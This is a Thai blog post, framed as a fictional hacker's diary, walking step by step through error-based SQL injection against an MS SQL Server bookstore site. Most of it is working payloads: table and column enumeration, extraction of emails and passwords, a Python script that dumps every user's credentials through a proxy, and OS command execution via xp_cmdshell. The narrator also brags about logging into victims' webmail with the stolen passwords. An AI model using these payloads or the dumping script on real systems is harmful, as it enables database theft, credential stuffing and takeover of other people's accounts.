A Hacker's Diary ตอน SQL Injection ภาคต่อ


คำเตือน: สิ่งที่ท่านจะได้อ่านต่อไปนี้เป็นเพียงเหตุการณ์สมมติเท่านั้น และผู้เขียนไม่ได้มีเจตนาที่จะเผยแพร่ความรู้เพื่อนำใช้ในทางที่ผิด หากมีผู้ใดนำไปความรู้จากบทความนี้ไปประยุกต์ใช้ในทางที่ผิด หรือกระทำการใด ๆ ที่ผิดกฎหมาย หรือ ศีลธรรม ทางผู้เขียนไม่ขอรับผิดชอบใด ๆ ทั้งสิ้น

ความเดิมจากตอนที่แล้ว หลังจากที่ผมใช้ SQL Injection เพื่อแก้ไขข้อมูลในตารางที่ชื่อว่า booklist ซึ่งเก็บข้อมูลราคาหนังสือของร้านหนังสือ buggybookstore.com แล้วก็เดินไปซื้อหนังสืออย่างสบายใจเฉิบ 555 แต่กระนั้นผมก็สามารถแก้ไขข้อมูลได้เพียงแค่ตารางเดียว วันนี้ผมจะมาเปิดเผยเวทย์มนต์ของเหล่าแฮกเกอร์ที่ใช้ SQL Injection ในการล้วงข้อมูลสำคัญอื่น ๆ ที่อยู่ในฐานข้อมูล หรือแม้กระทั่งเรียกใช้คำสั่งของระบบปฎิบัติการ วิธีที่ผมจะนำเสนอต่อไปนี้ใช้ได้กับเฉพาะ MS SQL Server เท่านั้นนะครับ ถ้าเป็นระบบฐานข้อมูลอื่นก็ลองพลิกแพลงเอาเองนะครับ

ในระบบ ฐานข้อมูลที่เด่น ๆ เช่น Oracle, MS-SQL, PostgreSQL จะมีการเก็บ metadata ของฐานข้อมูลไว้ด้วย metadata เหล่านี้ก็ได้แก่ชื่อตารางพร้อมทั้งฟิลด์ของตารางนั้น ๆ ที่อยู่ในระบบฐานข้อมูล, ชื่อฐานข้อมูล, version เป็นต้น ซึ่งข้อมูล metadata เหล่านี้ช่วยเราได้มากในการเจาะระบบในขั้นต่อ ๆ ไป มาเริ่มกันเลยดีกว่าครับ หลังจากที่ผมแก้ข้อมูลราคาได้แล้วก็ยังไม่หนำใจครับ ผมอยากจะทราบว่าในระบบฐานข้อมูลของ buggybookstore.com นั้นมีตารางชื่ออะไรบ้าง จากตอนที่แล้วผมได้แสดงให้เห็นว่าการแสดง Error Message อันไม่พึงประสงค์นั้นอันตรายแค่ไหน ผมก็โจมตีตรงจุดนั้นต่อครับ เพื่อใช้ประโยชน์จาก ODBC Error Messages ให้มากที่สุดครับ คือให้ Error Message แสดงข้อมูล Meta Data เหล่านี้นี่เอง โดยอันดับแรกที่ผมจะทำก็คือการแจกแจงดูว่าในฐานข้อมูลนี้มีตารางอะไรบ้าง และในแต่ละตารางมีฟิลด์อะไรบ้าง มาเริ่มกันเลยดีกว่าครับ โดยเริ่มจาก URL ด้านล่าง ซึ่งเป็นเพจที่สามารถทำ SQL Injection ได้ครับ

http://www.buggybookstore.com/cgi-bin/description.asp?isbn=0470170778

คราวที่แล้วผมได้สาธิตการใช้คำสั่ง GROUP BY กับ HAVING เพิ่มเข้าไปเพื่อทำให้เกิด Error Message ที่จะแสดงรายชื่อฟิลด์ในตาราง booklist ให้ชมแล้วแต่หากต้องการจะรู้ชื่อตารางและ ฟิลด์อื่น ๆ เราต้องดูจากตารางที่เก็บข้อมูล metadata ของระบบฐานข้อมูลครับ สำหรับ MS-SQL ตารางนี้มีชื่อว่า sysobjects และ ในตารางนี้มีอยู่สองฟิลด์ที่น่าสนใจคือ name ซึ่งจะเก็บชื่อตารางต่าง ๆ กับ xtype ซึ่งจะเก็บชนิดของตาราง โดยถ้ามีค่า xtype เท่ากับ 'U' จะหมายถึง user table ซึ่งก็คือตารางที่ผู้ใช้ระบบฐานข้อมูลเป็นคนสร้างขึ้นมาเองครับ ดังนั้นผมจึงต้องโจมตีด้วยสตริงดังต่อไปนี้

' OR 1 IN (SELECT min(name) FROM sysobjects WHERE xtype = 'U')--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn='%20OR%201%20IN%20(SELECT%20min(name)%20FROM%20sysobjects%20WHERE%20xtype%20=%20'U')--
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '' OR 1 IN (SELECT min(name) FROM sysobjects WHERE xtype = 'U')--

อีกเช่นเคยครับคราวนี้ก็เกิด Error ขึ้นอีกแล้วครับ และมันก็ทำหน้าที่ของมันได้อย่างดีด้วยครับ Error Message ที่แสดงขึ้นมาเป็นดังนี้ครับ

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Accounts' to a column of data type int.

Error Message ด้านบนเป็นเกิดขึ้นเพราะว่า นิพจน์บูลีน OR 1 IN (SELECT min(name) FROM sysobjects WHERE xtype = 'U') ที่ผมเติมเข้าไปใน WHERE Clause นั้นมันคืนชื่อของตารางที่มีอยู่อันดับแรกหากเรียงแบบตัวอักษรซึ่งเป็นข้อมูลแบบสตริง ต่อจากนั้น '1' ซึ่งเป็นข้อมูลแบบตัวเลขจะถูกนำมาตรวจสอบว่าเท่ากับค่าดังกล่าวหรือไม่ แต่เนื่องจากระบบฐานข้อมูลไม่สามารถแปลงข้อมูลจากแบบสตริง มาเป็นแบบตัวเลขเพื่อทำการเปรียบเทียบได้ครับ จึงเกิด Error ขึ้นและ Error Message ก็แสดงให้เห็นด้วยว่าค่าสตริงที่ไม่สามารถแปลงเป็นตัวเลขได้นั้นคืออะไร สำหรับกรณีนี้ก็คือ 'Accounts' ด้วยเหตุนี้เองทำให้เราทราบแล้วครับว่าในฐานข้อมูลนี้มีตารางที่ชื่อว่า 'Accounts' อยู่ด้วย

ถ้าท่านผู้อ่านอยากจะหาว่ามีตารางอื่น ๆ อืกหรือป่าว ก็ทำได้ง่าย ๆ โดยการเติม นิพจน์บูลีนเพิ่มเข้าไปต่อท้าย xtype = 'U' ครับ ยกตัวอย่างเช่น

' OR 1 IN (SELECT min(name)FROM sysobjects WHERE xtype = 'U' AND name > 'Accounts')--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn='%20OR%201%20IN%20(SELECT%20min(name)%20FROM%20sysobjects%20WHERE%20xtype%20=%20'U'%20AND%20name%20%3E'Accounts')--
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '' OR 1 IN (SELECT min(name) FROM sysobjects WHERE xtype = 'U' AND name > 'Accounts')--

คราวนี้มันก็แสดงค่า Error เหมือนเช่นเคยครับดังนี้

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Administrator' to a column of data type int.

แค่นี้เราก็ทราบเพิ่มแล้วครับว่ามีตารางอืกตารางหนึ่งชื่อว่า 'Administrator' ถ้าหากเราเอาชื่อตารางที่พบใหม่ไปใส่หลังเครื่องหมาย > แทนชื่อตารางอันเก่าทำซ้ำ ๆ อย่างนี้ไปเรื่อย ๆ เราก็จะทราบชื่อตารางทั้งหมดครับ

หลังจากที่เราทราบ ชื่อตารางแล้ว คราวนี้ผมอยากรู้ว่าในตารางนั้นมีฟิลด์อะไรบ้างก็ทำได้ง่าย ๆ อีกเช่นเคยครับ คือทำให้เกิด Error นั่นเองซึ่งก็คล้าย ๆ กับวิธีที่ผมเคยสาธิตให้ดูแล้วกับตาราง booklist แต่เนื่องต้องมีทริกนิดหน่อยครับ ซึ่งผมจะใช้สตริงต่อไปนี้โจมตีครับ

' UNION (SELECT booklist.barcode,Accounts .* FROM booklist,Accounts GROUP BY booklist.barcode HAVING 1=1)--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn='20UNION%20(SELECT%20booklist.barcode,Accounts.*%20FROM%20booklist,Accounts%20GROUP%20BY%20booklist.barcode%20HAVING%201=1)-
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= '' UNION (SELECT booklist.barcode,Accounts .* FROM booklist,Accounts GROUP BY booklist.barcode HAVING 1=1)--

ซึ่งแสดงให้เราเห็นฟิลด์แรกของตางราง Accounts ซึ่งมีชื่อว่า 'Userid' จาก Error Message ต่อไปนี้

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'Accounts.Userid' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

จะเห็นได้ว่าคำสั่ง SQL ที่ผมนำมา UNION เพิ่มเข้าไปก็คล้ายกับคำสั่งที่ผมใช้ในการหาฟิลด์ต่าง ๆ ของตาราง booklist ครับ ต่างกันตรงที่ JOIN ตาราง Accounts เข้ามาเพิ่ม และ ผม SELECT ฟิลด์ที่ชื่อว่า barcode เพียงฟิลด์เดียวจากตาราง booklist และ SELECT ทุกฟิลด์จากตาราง Accounts หลายคนอาจจะสงสัยว่า ทำไมต้องทำให้ยุ่งยากขนาดนี้ครับ? ต้อง JOIN ตาราง booklist เข้าไปด้วยหรือ? ใส่คำสั่งต่อนี้ไป UNION ไม่ได้เหรือ? "SELECTAccounts .* FROM Accounts HAVING 1=1" คำตอบคือผมลองแล้วครับ ไม่ได้ครับเพราะมันจะแสดง Error Message ที่ไม่ได้เกิดประโยชน์ต่อเราดังต่อไปนี้ครับ

Microsoft OLE DB Provider for SQL Server error '80040e14'
ORDER BY items must appear in the select list if the statement contains a UNION operator.

ด้วยเหตุนี้เองผมจึงต้อง JOIN ตาราง booklist เข้าไปเพิ่มแล้ว GROUP BY booklist.barcode เข้าไปก่อนแต่พอเราจะหาฟิลด์ต่อ ๆ ไปของตารางก็ไม่ต้อง JOIN ตาราง booklist เข้าไปแล้วนะครับ ยกตัวอย่างเช่น

' UNION (SELECT Accounts .* FROM Accounts GROUP BY Userid HAVING 1=1)--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/cgi-bin/description.asp?isbn='20UNION%20(SELECT%Accounts.*%20FROM%20Accounts%20GROUP%20BY%20Userid%20HAVING%201=1)-
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn= ' UNION (SELECT Accounts .* FROM Accounts GROUP BY Userid HAVING 1=1)--

ซึ่งแสดงให้เราเห็นฟิลด์ต่อมาของตางราง Accounts ซึ่งมีชื่อว่า 'firstname' จาก Error Message ต่อไปนี้

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'Accounts.firstname' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

ต่อจากนี้เพียงแค่เราเพิ่มฟิลด์ที่ได้มาไปเรื่อย ๆในส่วนของ GROUP BY เราก็จะทราบฟิลด์ทั้งหมดในตาราง Accounts ครับ แล้วคราวนี้ถ้าเราอยากจะทราบค่าที่เก็บไว้อยู่ในแต่ละฟิลด์ของตารางละครับ เราจะทำได้อย่างไร ? ก็ทำแบบเดียวกับที่เราหาชื่อ ตารางไงล่ะครับ ยกตัวอย่างเช่นเราต้องการทราบว่ามี email อะไรบ้างในตาราง Accounts ก็ต้องโจมตีด้วยสตริงต่อไปนี้ครับ

' OR 1 IN (SELECT email FROM Accounts)--
ซึ่งเมื่อส่งผ่าน URL จะกลายเป็น
http://www.buggybookstore.com/description.asp?isbn='%20OR%201%20IN%20(SELECT%20email%20FROM%20Accounts)--
ซึ่งทำให้ได้คำสั่ง SQL ดังนี้
SELECT * FROM booklist WHERE isbn='' OR 1 IN (SELECT email FROM Accounts)--

ซึ่งจะแสดง Error Message ดังต่อไปนี้

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the varchar value 'aaa@bbb.ccc' to a column of data type int.

เพียงเท่านี้ผมก็จะทราบว่ามี 'aaa@bbb.ccc' อยู่ในระบบครับ แต่เพียงทราบข้อมูลแค่นี้ผมยังไม่พอใจครับ เพราะว่าคุณสมบัติสำคัญสองประการของแฮกเกอร์ควรมีคือ ความคิดสร้างสรรค์และความอยากรู้อยากเห็นครับ ดังนั้นผมเลยมีความคิดว่าน่าจะดูด email กับ password ของผู้ใช้มาทั้งระบบเลยดีกว่า ซึ่งผมก็ทำการตรวจสอบจนทราบว่าในตาราง Accounts มีฟิลด์ที่น่าสนใจดังต่อไปนี้

  • Userid - เป็นข้อมูลแบบตัวเลขเก็บ id ของผู้ใช้แต่ละคน
  • email - ใช้เก็บ email address ที่ใช้ในการ log-in เข้าสู่ระบบ
  • password - เก็บรหัสผ่านในการเข้าสู่ระบบ

ดังนั้นผมก็ต้องหาขอบเขตของ userid ก่อนครับว่ามี userid ตั้งแต่เท่าไหร่ถึงเท่าไหร่ ซึ่งผมก็ใช้สตริงต่อไปนี้ครับ

URL สำหรับหาค่าต่ำสุดของ Userid:
http://www.buggybookstore.com/description.asp?isbn='%20or%201%20in%20(SELECT%20str(min(Userid))%2b'a'%20FROM%20Accounts)-- URL สำหรับหาค่าสูงสุดของ Userid:
http://www.buggybookstore.com/description.asp?isbn='%20or%201%20in%20(SELECT%20str(max(Userid))%2b'a'%20FROM%20Accounts)--

จาก URL ด้านบนจะเป็นว่าผมต้องใส่ %2b'a' เข้าไปต่อท้าย str(min(Userid)) และ 20str(max(Userid)) เพื่อให้ผลลัพธ์ที่คืนมาเป็นสตริงครับจะได้เกิด Error เพียงเท่านี้ผมก็ทราบแล้วว่า Userid มีค่าตั้งแต่ 1 ถึง 30777 ดังนั้นผมก็เลยเขียน script ภาษาไพธอนมาดูข้อมูลซะเลย 555

import urllib import re emailUrlPrefix="http://www.buggybookstore.com/description.asp?isbn='%20or%201%20in%20(SELECT%20email%20FROM%20Accounts%20WHERE%20Userid=" pwdUrlPrefix="http://www.buggybookstore.com/description.asp?isbn='%20or%201%20in%20(SELECT%20Pword%2b';'%20FROM%20Accounts%20WHERE%20Userid=" urlSuffix=")--" proxies = {'http': 'http://localhost:8118'} outputFile = open('user.txt', 'w') for id in range(1, 30777, 1): # Initialize id, email, password idValue = str(id) password = "" email = "" # create the url for retrieving the email theURL = emailUrlPrefix + idValue + urlSuffix # Connect to the URL via a proxy server filehandle = urllib.urlopen(theURL, proxies=proxies) # Read the data from URL data = filehandle.read() # Extracting the email emailMatchResult = re.search("value.*'(.*)'", data) if emailMatchResult: email = emailMatchResult.group(1) email = email.strip() # create the url for retrieving the password theURL = pwdUrlPrefix + idValue + urlSuffix # Connect to the URL via a proxy server filehandle = urllib.urlopen(theURL, proxies=proxies) # Read the data from URL data = filehandle.read() # Extracting the password pwdMatchResult = re.search('value.*\'(.*);\'', data) if pwdMatchResult: password = pwdMatchResult.group(1) line = '%s, %s, %s\n' % (idValue, email, password) print line outputFile.write(line) outputFile.close()

เพียงเท่านี้ผมก็ได้ email กับ password มาทั้งระบบแล้วครับ อีกอย่างคนส่วนมากที่ใช้ web mail ต่าง ๆ เช่น hotmail, yahoomail, gmail มักจะใช้ password เหมือนกันครับ ผมจึงสามารถลองนำ email กับ password ที่ผมได้มาลองเข้าไปดูว่าใช้ได้หรือป่าวครับผลปรากฎว่าทดลองไปเล่น ๆ 15 อันเข้าได้ตั้ง 12 อันยอดจริง ๆ

แถมท้ายก่อนจะจบเรื่อง SQL Injection ครับ SQL Injection ยังเป็นช่องทางที่สามารถทำให้เราทราบข้อมูลเิ่พิ่มเติมเกี่ยวกับ server ที่เราโจมตีได้อีกครับเช่นถ้าผมใช้คำสั่งเพื่อ SELECT ดูค่าจาก configuration method หรือ metadata method ในตัวอย่างด้านล่างผมต้องการดูค่าของ @@version

http://www.buggybookstore.com/description.asp?isbn='%20or%201%20in%20(SELECT%20@@version)-- ซึ่งแสดง Error Message Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2, v.4035) ' to a column of data type int.

คราวนี้ผมก็ทราบแล้วครับว่า OS คือ Windows Server 2003 และเป็น MS SQL Server 2000 ซึ่งมี CPU เป็น intel x86 หรือถ้าอยากรันคำสั่ง OS ก็อาจจะทำได้ครับโดยการเรียกใช้ store procedure ที่ชื่อว่า xp_cmdshell ถ้าหากคุณ DBA เค้าไม่ได้ลบออก ดังURL ด้านล่างเป็นต้น

http://www.buggybookstore.com/description.asp?isbn=';master..xpcmdshell%20'ipconfig%20%3Efoo.txt

เห็นพิษสงของการปล่อยให้มี SQL Injection หรือยังล่ะครับคุณ ๆ โปรแกรมเมอร์ทั้งหลายดังนั้นเขียนโปรแกรมกันให้ดี ๆ หน่อยนะครับอย่าตกม้าตายพลาดท่าให้กับแฮกเกอร์ง่าย ๆ อย่างนี้นะครับ วันนี้พอแค่นี้ละกันสวัสดีครับ

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd><img> <object> <embed> <param>
  • Lines and paragraphs break automatically.
  • Images can be added to this post.

More information about formatting options

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (respecting upper/lower case) from the image.
ญาณรักข์ วรรณสาย